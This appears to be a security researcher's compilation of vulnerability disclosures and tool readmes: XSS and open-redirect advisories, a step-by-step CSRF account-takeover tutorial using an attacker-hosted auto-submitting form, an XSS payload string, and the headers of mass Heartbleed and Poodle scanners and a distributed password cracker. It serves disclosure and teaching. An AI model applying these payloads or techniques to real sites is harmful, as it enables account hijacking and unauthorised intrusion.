Hak5 Wifi Pineapple RCE PoC By 1N3

https://crowdshield.com - PineappleV by Hak5 has a remote code execution flaw in the "Log View" infusion that allows un-intended code execution. Even though this is not really a "vulnerability" as only authenticated users have access to the device, it is more of a proof of concept showing un-intended code execution in the log viewer functionality due to a failure to validate and sanitize input.

WiFi Pineapple MK5 / SSLSplit v1.1 Cross-Site Scripting (Stored)

Vendor: Hak5
Website: http://www.hak5.com
Hardware: Wifi Pineapple MK5
Software: SSLSplit
Version: 1.1
Author: 1N3

I'm releasing this info purely for educational purposes. There appears to be a stored Cross-Site Scripting vulnerability in the SSLSplit v.1.1 infusion for the Pineapple MK5. This could be used by a rogue wifi user to invoke a Cross-Site Scripting vulnerability on the owner of the Pineapple wifi device when viewing the SSLSplit logs.

Reproduction Steps:
1. Attacker sets up a RogueAP using PineappleV with SSLSplit running
2. A Wifi user connects to the PinappleV RogueAP setup
3. Wifi user then creates an image on his webserver with meta tags embedded with the following string: "></script>">'><img src=x onerror=confirm(4)>
4. Wifi user opens a web browser and navigates to the affected image they just created
5. Attacker then tries to download his logs via the SSLSplit web UI (SSLSplit > History > Click "Download" for the affected log file)

Result:
Alert window message is displayed to attacker

Google Captcha Open Redirect

Google's captcha page suffers from an open redirect vulnerability because it fails to verify that the "continue" parameter in the URI is actually a Google domain or even the referring domain. After checking Google's bug bounty however, they state:

"URL redirection. We recognize that the address bar is the only reliable security indicator in modern browsers; consequently, we hold that the usability and security benefits of a small number of well-designed and closely monitored redirectors outweigh their true risks".

So, I'm publicly disclosing this as a POC for research/educational purposes...

Update Users Password and Email Address Using CSRF

During a recent bug bounty/pentest, I discovered a Cross Site Request Forgery vulnerability that allowed me to automatically update a users email address, password, credit card info, shipping address and more. This is a brief tutorial on how it was done.

What is Cross Site Request Forgery?
In short, cross site request forgery allows an attacker to do certain actions on behalf of valid users (such as updating a user's password).

Step 1: Find a form on the target website that you want to test. In the example below, it was /AccountSettings.asp.

Step 2: Intercept the POST request using Burpsuite or any other proxy. Notice below the POST values being submitted include the users password, email, CC data, etc.

POST /AccountSettings.asp HTTP/1.1

Step 3: Recreate the original POST form on your own web server. To do this, you will need to check all form field data and HTML being passed by the target website. You can do this by viewing the source code of the target website where the POST form is found. Be sure to update the POST action="" section of the form to the target URL ie. http://www.vulnerabletocsrf.com/AccountSettings.asp. You also need to update the values of each form field to the values you want to change (ie. email address, password, CC number, etc..).

NOTE: You can also include Javascript to automatically submit the form as soon as a user views the page via document.forms["f1"].submit(); as seen above.

STEP 4: Now that we have our new CSRF form sitting on our web server, we can send this page to users of the site to entice them to click on our link (ie. http://evilattacker.com/test.html). If the site is vulnerable to CSRF, the form fields that we edited will be automatically submitted on the user's behalf and updated. It should also be noted that this can all be done via a hidden <iframe> in any website the user visits as well.

DISCLAIMER: This is merely for educational purposes to teach more about the dangers of CSRF and improve security.

# PoodleWalk SSLv3 Scanner v20141017 by 1N3
# http://treadstonesecurity.blogspot.ca
# Usage: ./poodlewalk.sh <CIDR|IP>
#
# ABOUT:
# PoodWalk makes it easier to mass scan environments for systems vulnerable to the "Poodle" vulnerability. It uses unicorn scan to scan a large range of IP's or CIDR blocks for port 443. If open, poodwalk runs SSLScan for SSLv3 enabled ciphers which are vulnerable to the "Poodle" attack in CVE-2014-3566.
#
# REQUIREMENTS:
# Is unicornscan installed?
# Is sslscan installed?
#
# USAGE EXAMPLES:
# ./poodlewalk.sh 192.168.0.0/16 - Mass scan all hosts for port 443 and test for SSLv3 on 192.168.0.0/16
# for a in `cat my_list_of_domains_or_ips.txt`; do ./poodlewalk.sh $a; done; - Mass scan a text file of domains and IP's for Poodle

GridCrack - A Grid Based Password Cracker

#!/bin/bash
# GRIDCRACK v20140822 by 1N3 @ http://xerosecurity.com
#
# USAGE: ./gridcrack <crack/status/setup> <format>
#
# ABOUT:
# GRIDCRACK is a Linux grid based password cracker used to leverage multiple servers to crack a single hash file.
#
# REQUIREMENTS:
# 1) Two or more Linux based servers running John The Ripper (john)
# 2) root SSH keys setup for automatic login/authentication via SSH keys
# 3) A large masterlist dictionary file to split amongst the configured nodes
#
# HOW IT WORKS:
# Running ./gridcrack setup will launch the initial setup of gridcrack which will prompt for the masterlist.dic file (a large wordlist of your choice..).
# From there, it will proceed to split the file into equal parts based on the number of configured nodes in this script (NUM_NODES). Next, It will transfer
# the individual parts of the split wordlist to each host via SCP. From here, the user can copy/paste their hashes into the hashes.txt (/pentest/gridcrack/hashes.txt)
# and run the appropriate command to begin the brute force attack (ie. ./gridcrack crack NT). From here, gridcrack will first copy the hashes.txt to each node first,
# then proceed to run john on each node simultaneously using the format specified (ie. NT). Results are then displayed back to the central server as
# each node finishes. A status mode is also included to show the status of john on each node (ie. ./gridcrack status NT).

All In One SEO Pack v.2.2.2 Stored XSS

Author: 1N3
Website: http://xerosecurity.com
Vender Website: https://wordpress.org/plugins/all-in-one-seo-pack/
Affected Product: All In One SEO Pack
Affected Version: 2.2.2

ABOUT:

All in One SEO Pack is a WordPress SEO plugin to automatically optimize your WordPress blog for Search Engines such as Google. Version 2.2.2 suffers from a cross site scripting (XSS) vulnerability in the “/wp-admin/post.php” page because it fails to properly sanitize the “aiosp_menulabel” form field. A malicious author or admin of a site could use this flaw to secretly redirect users of a site to a malicious site or steal session cookies of other users.

NOTE: User must have the ability to publish pages in the affected Wordpress site (usually Author or Admin roles required).

MyConnection Server (MCS) Reflective XSS

Author: 1N3
Website: http://treadstonesecurity.blogspot.ca
Vender Website: http://www.visualware.com/
Affected Product: MyConnection Server
Affected Version: 9.7i (others may also be vulnerable)

ABOUT:
MyConnection Server (MCS) delivers a broad range of support managed automated and user initiated self-help connection testing and monitoring services directly via the browser to any online customer/location anywhere in the world. Due to a failure to sanitize certain GET variables passed to the connection test page (usually test.php), it is possible to inject client side javascript to run in the context of the user browsing the website. Several parameters including testtype, ver, cm, map, lines, duration and others appear to be vulnerable.

POC:

VULNERABLE CODE:

* Both voiplines and testlength are written to the end user without being properly sanitized and thus vulnerable to reflective XSS.

OpenSSL CCS & HeartBleed Mass Scanner

#!/bin/bash
# MassBleed OpenSSL Scanner v20140609 by 1N3
# http://treadstonesecurity.blogspot.ca
# Usage: sh massbleed.sh <CIDR|IP> <single|port|subnet> [port] [proxy]
#
# ABOUT:
# This script has four main functions with the ability to proxy all connections:
# 1. To mass scan any CIDR range for OpenSSL vulnerabilities via port 443/tcp (https) (example: sh massbleed.sh 192.168.0.0/16)
# 2. To scan any CIDR range for OpenSSL vulnerabilities via any custom port specified (example: sh massbleed.sh 192.168.0.0/16 port 8443)
# 3. To individual scan every port (1-10000) on a single system for vulnerable versions of OpenSSL (example: sh massbleed.sh 127.0.0.1 single)
# 4. To scan every open port on every host in a single class C subnet for OpenSSL vulnerabilities (example: sh massbleed.sh 192.168.0. subnet)
#
# PROXY: A proxy option has been added to scan via proxychains. You'll need to configure /etc/proxychains.conf for this to work.
#
# PROXY USAGE EXAMPLES:
# (example: sh massbleed.sh 192.168.0.0/16 0 0 proxy)
# (example: sh massbleed.sh 192.168.0.0/16 port 8443 proxy)
# (example: sh massbleed.sh 127.0.0.1 single 0 proxy)
# (example: sh massbleed.sh 192.168.0. subnet 0 proxy)
#
# VULNERABILITIES:
# 1. OpenSSL HeartBleed Vulnerability (CVE-2014-0160)
# 2. OpenSSL CCS (MITM) Vulnerability (CVE-2014-0224)
#
# REQUIREMENTS:
# Is the heartbleed POC present?
# Is the openssl CCS script present?
# Is unicornscan installed?
# Is nmap installed?

NAME
       brainpan - Server side collaboration system.

DESCRIPTION
       The brainpan server is a collaboration system that allows users to
       share and update files on the fly. While the server is work in
       progress, several features are functional. GUEST users have limited
       access to the available commands.

COMMANDS
       HELP Display the the brainpan manual.

       TELL ME MORE Show a list of available commands.

       FILES Show files currently stored on the server.

       VIEW View a file stored on the server.

       CREATE Create a file on the server.

       USERS Display a list of users currently logged in.

       MSG Send a message to a user.

       SYSTEM Report system information.

       BYE Log out of the server.

AUTHENTICATION
       There is currently no proper authentication mechanism in place. At this
       time the software is in it's alpha stage. The only avaiable account is
       GUEST. The DEBUG account will alter the output of some commands - use‐
       ful for developers.

# FUZZING MSG_ROOT SUID ROOT PROGRAM
# Since msg_root is SUID, if we can find an overflow in the program, we can use that to execute code with "root" privileges. Testing the code shows that the program uses 2 arguments (username) and (message). We can fuzz both of these with large arbitrary buffers to check for overflows...
